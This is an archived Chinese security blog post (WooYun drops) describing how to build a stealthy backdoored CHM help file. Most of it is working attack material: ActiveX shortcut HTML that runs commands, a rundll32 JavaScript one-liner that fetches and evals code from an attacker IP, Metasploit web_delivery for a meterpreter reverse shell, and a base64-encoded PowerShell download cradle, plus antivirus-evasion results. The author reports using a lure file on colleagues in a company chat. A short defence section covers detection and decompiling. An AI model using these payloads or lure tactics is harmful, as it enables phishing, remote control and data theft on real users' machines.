
        <html>
			<head>
			     <title>高级组合技打造“完美” 捆绑后门 - Evi1cg</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/tips/14254">http://drops.wooyun.org/tips/14254</a></h1>
				
      <p>
        <p><img src="http://static.wooyun.org//drops/20160330/2016033009293473432137.jpg" alt="" /></p>

<!--more-->

<h1>0x00 简介</h1>

<hr />

<p>之前写过一篇关于客户端钓鱼的文章：<a href="http://drops.wooyun.org/tips/8568">《使用powershell Client进行有效钓鱼》</a>中，在使用各个Client进行测试的过程中，个人发现CHM文件是最好用的一个，但是其缺点就是会弹黑框，这样就会让被攻击者察觉。那么怎么让他不弹黑框呢？那就是本文要介绍的内容啦~</p>

<h1>0x01 CHM 简介</h1>

<hr />

<p>在介绍怎么使用CHM来作为后门之前，首先要知道CMH是什么东西。</p>

<p>CHM（Compiled Help Manual）即“已编译的帮助文件”。它是微软新一代的帮助文件格式，利用HTML作源文，把帮助内容以类似数据库的形式编译储存。CHM支持Javas cript、VBs cript、ActiveX、Java Applet、Flash、常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等，并可以通过URL与Internet联系在一起。因为使用方便，形式多样也被采用作为电子书的格式。</p>

<h1>0x02 CHM 制作</h1>

<hr />

<p>CHM的制作方法很多。有多款工具可以使用，这里就不在做详细的介绍了。本次测试使用了EasyCHM来制作CHM文件，使用起来非常简单。</p>

<p>新建如下目录，文件内容随意：</p>

<p><img src="http://static.wooyun.org//drops/20160330/2016033009293521321260.png" alt="Alt text" /></p>

<p>打开EasyCHM，新建->浏览。选择该目录。默认文件类型：</p>

<p><img src="http://static.wooyun.org//drops/20160330/2016033009293791880349.png" alt="Alt text" /></p>

<p>点击确认，即可看到预览的CHM文件：</p>

<p><img src="http://static.wooyun.org//drops/20160330/2016033009293939670426.png" alt="Alt text" /></p>

<p>选择编译，即可编译成CHM文件。</p>

<h1>0x03 CHM Execute Command</h1>

<hr />

<p><a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="8abbbe6f333e6d100e6c1d3c6f0a13cae3fee2fff8f8e3e9ebe4effafe">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script> 在twitter上发了一个demo，通过CHM运行计算器：</p>

<p><img src="http://static.wooyun.org//drops/20160330/2016033009294017043522.png" alt="Alt text" /></p>

<p>利用代码如下：</p>

<pre><code>#!html
&lt;!DOCTYPE html&gt;&lt;html&gt;&lt;head&gt;&lt;title&gt;Mousejack replay&lt;/title&gt;&lt;head&gt;&lt;/head&gt;&lt;body&gt;
command exec 
&lt;OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1&gt;
&lt;PARAM name="Command" value="ShortCut"&gt;
 &lt;PARAM name="Button" value="Bitmap::shortcut"&gt;
 &lt;PARAM name="Item1" value=',calc.exe'&gt;
 &lt;PARAM name="Item2" value="273,1,1"&gt;
&lt;/OBJECT&gt;
&lt;SCRIPT&gt;
x.Click();
&lt;/SCRIPT&gt;
&lt;/body&gt;&lt;/html&gt;
</code></pre>

<p>将以上代码写入html，置于工程目录进行编译，生成CHM文件，运行此文件，弹出计算器：</p>

<p><img src="http://static.wooyun.org//drops/20160330/2016033009294253557622.png" alt="Alt text" /></p>

<h1>0x04 去除弹框</h1>

<hr />

<p>有测试过nishang <a href="https://raw.githubusercontent.com/samratashok/nishang/master/Client/Out-CHM.ps1">Out-CHM</a> 的同学会发现，运行生成的CHM文件的时候会看到明显的弹框。就像这样:</p>

<p><img src="http://static.wooyun.org//drops/20160330/pop.gif" alt="Alt text" /></p>

<p>某个晚上突然脑洞了一下，想到了一个好的方式来让他不显示弹框，即结合使用<a href="http://drops.wooyun.org/tips/11764">JavaScript Backdoor</a>。经过测试，成功实现在不弹框的情况下获取meterpreter会话，此次测试使用一个我修改过的python版 JSRat.ps1 ，地址为：<a href="https://github.com/Ridter/MyJSRat">MyJSRat</a>。使用方式详见 readme。</p>

<p>以下为完整的测试过程：</p>

<h3>1、结合CHM + JSBackdoor</h3>

<p>使用交互模式的JSRat server：</p>

<pre><code>#!bash
python MyJSRat.py -i 192.168.1.101 -p 8080
</code></pre>

<p><img src="http://static.wooyun.org//drops/20160330/2016033009294537083819.png" alt="Alt text" /></p>

<p>访问 http://192.168.1.101:8080/wtf 获取攻击代码如下：</p>

<pre><code>#!bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
</code></pre>

<p>经过多次测试，成功将以上命令写入chm，其Html代码为：</p>

<pre><code>#!html
&lt;!DOCTYPE html&gt;&lt;html&gt;&lt;head&gt;&lt;title&gt;Mousejack replay&lt;/title&gt;&lt;head&gt;&lt;/head&gt;&lt;body&gt;
This is a demo ! &lt;br&gt;
&lt;OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1&gt;
&lt;PARAM name="Command" value="ShortCut"&gt;
 &lt;PARAM name="Button" value="Bitmap::shortcut"&gt;
 &lt;PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'&gt;
 &lt;PARAM name="Item2" value="273,1,1"&gt;
&lt;/OBJECT&gt;
&lt;SCRIPT&gt;
x.Click();
&lt;/SCRIPT&gt;
&lt;/body&gt;&lt;/html&gt;
</code></pre>

<p>编译以后运行，可以成功获取JS交互shell:</p>

<p><img src="http://static.wooyun.org//drops/20160330/2016033009294779062919.png" alt="Alt text" /></p>

<blockquote>
  <p>直接执行<code>cmd /c command</code> 是会有黑框的，可以使用run来避免显示黑框。执行run以后，输入 <code>whoami &gt; e:\1.txt</code> 之后通过read 来获取回显。</p>
</blockquote>

<h3>2、获取meterpreter会话</h3>

<p>此次测试获取meterpreter会话的方式是通过执行powershell命令，直接获取，当获取客户端JS 交互shell之后自动执行powershell命令，获取meterpreter会话。具体操作如下：</p>

<p>开启MSF web_delivery：</p>

<pre><code>#!bash
 ~  msfconsole -Lq
msf &gt; use exploit/multi/script/web_delivery
msf exploit(web_delivery) &gt; set target 2
target =&gt; 2
msf exploit(web_delivery) &gt; set payload windows/meterpreter/reverse_tcp
payload =&gt; windows/meterpreter/reverse_tcp
msf exploit(web_delivery) &gt; set lhost 192.168.1.101
lhost =&gt; 192.168.1.101
msf exploit(web_delivery) &gt; set lport 6666
lport =&gt; 6666
msf exploit(web_delivery) &gt; set SRVPORT 8081
SRVPORT =&gt; 8081
msf exploit(web_delivery) &gt; set uripath /
uripath =&gt; /
msf exploit(web_delivery) &gt; exploit
[*] Exploit running as background job.
msf exploit(web_delivery) &gt;
[*] Started reverse TCP handler on 192.168.1.101:6666
[*] Using URL: http://0.0.0.0:8081/
[*] Local IP: http://192.168.1.101:8081/
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');
</code></pre>

<p>装有powershell的客户端执行以下命令则可获取meterpreter会话：</p>

<pre><code>#!bash
powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');
</code></pre>

<p>由于存在特殊字符，我们可以把以上代码编码为base64格式，将以下代码存入power.txt</p>

<pre><code>#!bash
$n=new-object net.webclient;
$n.proxy=[Net.WebRequest]::GetSystemWebProxy();
$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;
IEX $n.downloadstring('http://192.168.1.101:8081/');
</code></pre>

<p>执行以下命令：</p>

<pre><code>#!bash
cat power.txt | iconv --to-code UTF-16LE |base64
</code></pre>

<p><img src="http://static.wooyun.org//drops/20160330/20160330092949753731018.png" alt="Alt text" /></p>

<p>最终要执行的powershell命令为：</p>

<pre><code>#!bash
powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA==
</code></pre>

<p>使用执行命令模式直接获取meterpreter会话：</p>

<pre><code>#!bash
python MyJSRat.py -i 192.168.1.101 -p 8080 -c "powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA=="
</code></pre>

<p>测试过程中，从运行CHM到获取meterpreter，客户端无明显异常，全程无黑框弹出，获取到meterpreter会话如下图：</p>

<p><img src="http://static.wooyun.org//drops/20160330/20160330092952211491123.png" alt="Alt text" /></p>

<h3>3、是否被杀？</h3>

<p>可能很多人会问，会不会被杀，下面是virscan的查杀结果：</p>

<p><a href="http://r.virscan.org/report/6173ee9c62d29806bb84035a8f1738ba">http://r.virscan.org/report/6173ee9c62d29806bb84035a8f1738ba</a></p>

<p><img src="http://static.wooyun.org//drops/20160330/20160330092954126811220.png" alt="Alt text" /></p>

<h1>0x05 利用场景</h1>

<hr />

<p>一张图说明（让我猜猜你会不会点）：</p>

<p><img src="http://static.wooyun.org//drops/20160330/20160330092958139941316.png" alt="Alt text" /></p>

<blockquote>
  <p>注: 随便找了几个漏洞利用工具修改了文件名，并不代表原作者分享的工具有问题。</p>
</blockquote>

<h1>0x06 实际测试</h1>

<hr />

<p>是用上述方式制作chm文件，命名为一个比较有吸引力的名字，比如在公司技术群发了一个名字为"制作免杀后门.chm"的文件，实际测试结果如下图：</p>

<p><img src="http://static.wooyun.org//drops/20160331/2016033107010256555shell.jpg" alt="" /></p>

<p>成功获取多个人的meterpreter会话。</p>

<h1>0x07 防御</h1>

<hr />

<p>目前我还没查到什么防御的姿势，知道的小伙伴可以分享一下。最好就是提高个人安全意识，对于这类文件，多注意一下，尽量别乱点，如果非要点，可以放到虚拟机里面。使用procexp.exe可以看到存在后门的chm文件会开启新的进程：</p>

<p><img src="http://static.wooyun.org//drops/20160330/20160330093000637281414.png" alt="Alt text" /></p>

<p>对于碰到这种后门，怎么溯源呢，其实也很简单，chm是可以反编译为html的。
使用windows自带的hh.exe 则可进行反编译。命令如下：</p>

<pre><code>#!bash
C:\Users\evi1cg\Desktop&gt;hh -decompile test poc.chm #test 为当前目录的test文件夹
</code></pre>

<p>执行结果如下：</p>

<p><img src="http://static.wooyun.org//drops/20160331/20160331070305505241459313642951.png" alt="" /></p>

<h1>0x08 小结</h1>

<hr />

<p>此次测试就是对一些已知的攻击手法进行结合，结果是让此捆绑后门更加隐蔽，近乎“完美”，美中不足的是在文件开启的时候会出现短暂的卡顿。有时候小漏洞结合起来能造成大危害，小手法结合起来也能成大杀器。本着分享的精神将此姿势介绍，希望小伙伴们能免受其害。</p>

<h1>0x09 参考</h1>

<hr />

<ol>
<li><a href="https://twitter.com/ithurricanept/status/534993743196090368">https://twitter.com/ithurricanept/status/534993743196090368</a></li>
<li><a href="https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1">https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1</a></li>
<li><a href="http://drops.wooyun.org/tips/11764">http://drops.wooyun.org/tips/11764</a></li>
<li><a href="https://github.com/samratashok/nishang">https://github.com/samratashok/nishang</a></li>
</ol>

<p><strong>本文由evi1cg原创并首发于乌云drops，转载请注明</strong></p>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          